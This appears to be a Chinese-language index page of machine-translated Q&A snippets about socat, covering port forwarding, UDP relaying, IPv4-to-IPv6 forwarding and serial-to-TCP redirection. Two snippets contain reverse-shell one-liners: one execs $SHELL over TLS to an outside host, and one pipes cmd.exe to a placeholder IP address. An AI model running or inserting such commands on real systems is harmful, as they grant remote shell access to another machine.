socat

单独使用socat可以模拟SSH远程端口转发吗?
socat

单独使用socat可以模拟SSH远程端口转发吗?

请考虑以下场景。 服务器 A 可以访问 serverX:9000。 服务器 A 可以访问 serverB:7000。 服务器 B 无法直接访问服务器 A 上的端口。 服务器 B 想要访问 serverX:9000,但是没有直接访问权限。 解决这个问题的经典方法是使用 ssh 端口转发。 ssh -R 9000:serverX:9000 serverB -p 7000 假设,我不想在服务器 B 上运行 sshd,也不想在服务器 A 上运行 ssh,而是想在两者上运行未经身份验证的网络实用程序(例如socat或nc),并解决相同的问题。 是否可以仅使用 s...

Admin

Socat 下载 - 选择什么文件进行安装?Windows
socat

Socat 下载 - 选择什么文件进行安装?Windows

我的防病毒程序禁止下载 netcat。因此,我选择通过 Winzip 下载 Socat。但是,我完全不知道应该使用哪个文件来安装该工具……或者如果它已经安装,那么当它在本地下载时呢? 我在 zip 文件中下载了大约 20 个不同的包...不确定选择哪一个进行安装。 我已经尝试过这个:获取 tarball 并提取它: tar xzf socat.tar.gz cd socat-1.7.3.0 ./configure make su make install # installs socat, filan, and procan in /usr/local...

Admin

使用 socat 客户端执行的进程的过滤标准输入
socat

使用 socat 客户端执行的进程的过滤标准输入

我的问题是:有没有办法预处理通过 socat 客户端执行的命令的标准输入。 socat上下文:我正在使用以下命令启动反向 shell : $> socat -T30 "openssl-connect:api.hoposhell.com:10000,verify=0,keepalive" "exec:$SHELL,pty,stderr,setsid" 为了保持连接,我的服务器每 10 秒发送一次 ACK ASCII 字符 (0x06)。然而,这在某些应用程序中会产生副作用,并且^F会出现一些字符。 在 bash 或 zsh 中,可以使用 sed 管道,...

Admin

socat 从错误的 IP 地址发送
socat

socat 从错误的 IP 地址发送

我正在使用 socat 将 UDP 流量从一个端口转发到另一个端口,命令如下: socat -T5 UDP4-LISTEN:12345,reuseaddr,fork UDP4:127.0.0.1:23456,bind=127.0.0.2,so-bindtodevice=lo 我使用 netcat 进行测试,运行nc -u -l -p 23456 -vv并echo test | nc -u 127.0.0.1 12345。这给了我以下意外的输出: listening on [any] 23456 ... connect to [<myPublicIp&...

Admin

增加 Linux 上特定套接字的缓冲区大小
socat

增加 Linux 上特定套接字的缓冲区大小

我正在使用 CentOS7,并且必须增加侦听特定端口的套接字上的发送缓冲区大小 (SO_SNDBUF)。打开该端口的应用程序本身不支持此功能。 我尝试过一些可以增加发送缓冲区大小的方法: 在操作系统上执行此操作-无法执行,因为此缓冲区大小更改必须仅适用于此连接。 Stunnel – 可以完成这项工作,但是客户端的应用程序本身不支持 SSL。 Socat - 这很有可能实现,但到目前为止我只讲了 1 小时的课,甚至还没有触及表面。 编辑:介绍一下背景。我们有一位来自亚洲的客户试图通过交叉连接连接到我们 Java 应用程序上特定套接字上的端口。客户遇到了延迟...

Admin

socat 在打开时重置 USB 端口
socat

socat 在打开时重置 USB 端口

我在使用 socat 时遇到了问题,它可能仅存在于我的环境中。 我需要将 USB 串行端口重定向到 TCP 端口。我使用以下方法,效果很好: socat TCP-LISTEN:4444,fork,reuseaddr FILE:/dev/ttyUSB0,b19200,rawer 但是,上述问题是,每次我连接到端口 4444 时,USB 端口都会重置,从而重置 USB 设备。我认为这是按照设计,启动 socat 时 USB0 端口不会保持打开状态,只有当有人连接到端口 4444 时才会保持打开状态。有人知道如何让 socat 在启动时打开 USB 端口(而不是在...

Admin

从 Windows 到 Linux 创建 USB 连接的最佳/最简单的方法是什么
socat

从 Windows 到 Linux 创建 USB 连接的最佳/最简单的方法是什么

我想知道从 Windows 到远程 Linux 服务器 (Redhat) 设置 USB 连接的最佳方法是什么?我在 Google 上搜索了一下,找到了 socat,但那是 Linux 到 Linux 的,有什么想法吗? 我的目标:为了确保我的 Yubikey 在远程服务器上被检测到,为此我需要确保我可以创建 USB 连接并将其发送到远程服务器 谢谢!Stduong ...

Admin

如何将 UDP 流量从 IPv4 转发到 IPv6?
socat

如何将 UDP 流量从 IPv4 转发到 IPv6?

我有一个本地服务器,它只有一个 IPv6 地址,我想在上面为我的朋友和我自己托管一个 Minecraft 服务器。问题是他们中的一些人没有 v6 地址。我目前正在使用索卡特将所有内容转发到我需要的端口(HTTP、HTTPS、MC 的 25565)。 对于 TCP 转发,它像这样工作正常: sudo socat TCP4-LISTEN:80,fork,su=nobody TCP6:[MYIP]:80 但 UDP 不起作用,我这样使用: sudo socat UDP4-RECVFROM:25565,fork,su=nobody UDP6-SENDTO:[MYIP...

Admin

socat 现在坏了吗?
socat

socat 现在坏了吗?

我尝试在 Windows 10 上运行 socat,但是执行时显示以下错误: 0 [main] socat 5536 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem to the public mailing list [email protected] 谷歌搜索该错误似乎表明这是由于使用了旧版本的 Cygwin 造成的。但是,在我安装了最新版本的 Cygwin 后,同样的错误出现了。我尝试删除 socat 文件夹中的 c...

Admin

使用 socat 绕过 NAT
socat

使用 socat 绕过 NAT

我面临以下问题: 假设我的机器为 PC-1,我想要访问的远程机器为 PC-2。PC-1 和 PC-2 位于不同的网络中,并且都位于 NAT 后面。 为了实现 PC-1 到 PC-2 的连接,我使用了运行 socat 的具有有效外部 IP(A VPS)的第三台机器。 因此,PC-2 在端口 5900 上运行 VNC 服务器。为了创建隧道,我使用了 socat 及其语法: socat tcp-l:10000 tcp4:localhost:5900 在 VPS 上: socat tcp-l:20000 tcp-l:10000 因此,如果我使用 VPS IP 地...

Admin

WINDOWS 上的 SOCAT:为什么需要 EXEC 地址的管道选项?
socat

WINDOWS 上的 SOCAT:为什么需要 EXEC 地址的管道选项?

尝试创建一个反向shell,我使用了这个我的windows框: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe' 失败并出现以下错误:“该过程试图写入不存在的管道。” 使用该pipes选项,它现在可以工作: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes 我的问题是为什么pipes有必要? 我知道pipes选项将使用命名管道而不是默认的 UNIX 套接字。 我假设在 Windows 实现中,默认行为有所不同 ...

Admin

如何对本地数据包进行 DNAT
socat

如何对本地数据包进行 DNAT

我有一个程序将 UDP 数据包发送到 192.168.0.2:12345,在端口 54321 接收数据包,它使用 192.168.0.1 IP 地址。我希望它将数据包发送到具有相同端口的 10.10.10.10,因为此程序和远程服务器仅接受 12345 和 54321。这是拓扑: 首先,我使用 iptables 预路由: iptables -t nat -A PREROUTING -s 192.168.0.1 -p udp --dport 12345 -j DNAT --to 10.10.10.10:12345 但它不起作用,我使用LOG,发现nat从未...

Admin

使用 socat 进行 SOCKET-SENDTO
socat

使用 socat 进行 SOCKET-SENDTO

我尝试使用socat将原始数据包发送到以太网接口,但收到“无此设备或地址”的提示。我应该如何使用socat? 用法: $ echo hi | sudo socat - SOCKET-SENDTO:17:3:0:x0003x00000002x0000x00x06xabcdef0123450000 分解: domain - 17 (PF_PACKET) type - 3 (SOCK_RAW) protocol - 0 address - (data representation of a sockaddr structure) s...

Admin

SSH 隧道 + Socat UDP + 单播 + 多播
socat

SSH 隧道 + Socat UDP + 单播 + 多播

我正在尝试从一台本地机器(坐在家里)与一台科学仪器(SCIENTIFIC,IP=192.168.1.109)进行通信,该仪器与一台树莓派(服务器)一起位于远程网络中。SCIENTIFIC 在 udp 端口​​ 12109 上接收订单,并通过端口 12000 上的 udp 广播进行应答。 首先,我可以按照说明向 INSTRUMENT 发送订单这里使用 TCP-UDP 中继。我首先设置了从本地机器到服务器的 SSH 隧道。 toto@LOCAL:~$ ssh -L 8001:localhost:8001 Raspberry_ext 其中 Raspberr...

Admin

在 Windows 10 和 cygwin 之间共享 ssh-agent 套接字或任何其他命名管道
socat

在 Windows 10 和 cygwin 之间共享 ssh-agent 套接字或任何其他命名管道

赛格威模拟套接字通过打开端口并将端口号和“登录”机密添加到文件中,而不是使用 Windows 命名管道。 此外,cygwin 似乎无法访问 Windows 命名管道。 那么我如何从 cygwin 访问命名管道(例如 //./pipe/openssh-ssh-agent)以及反之亦然(例如使用 socat)? ...

Admin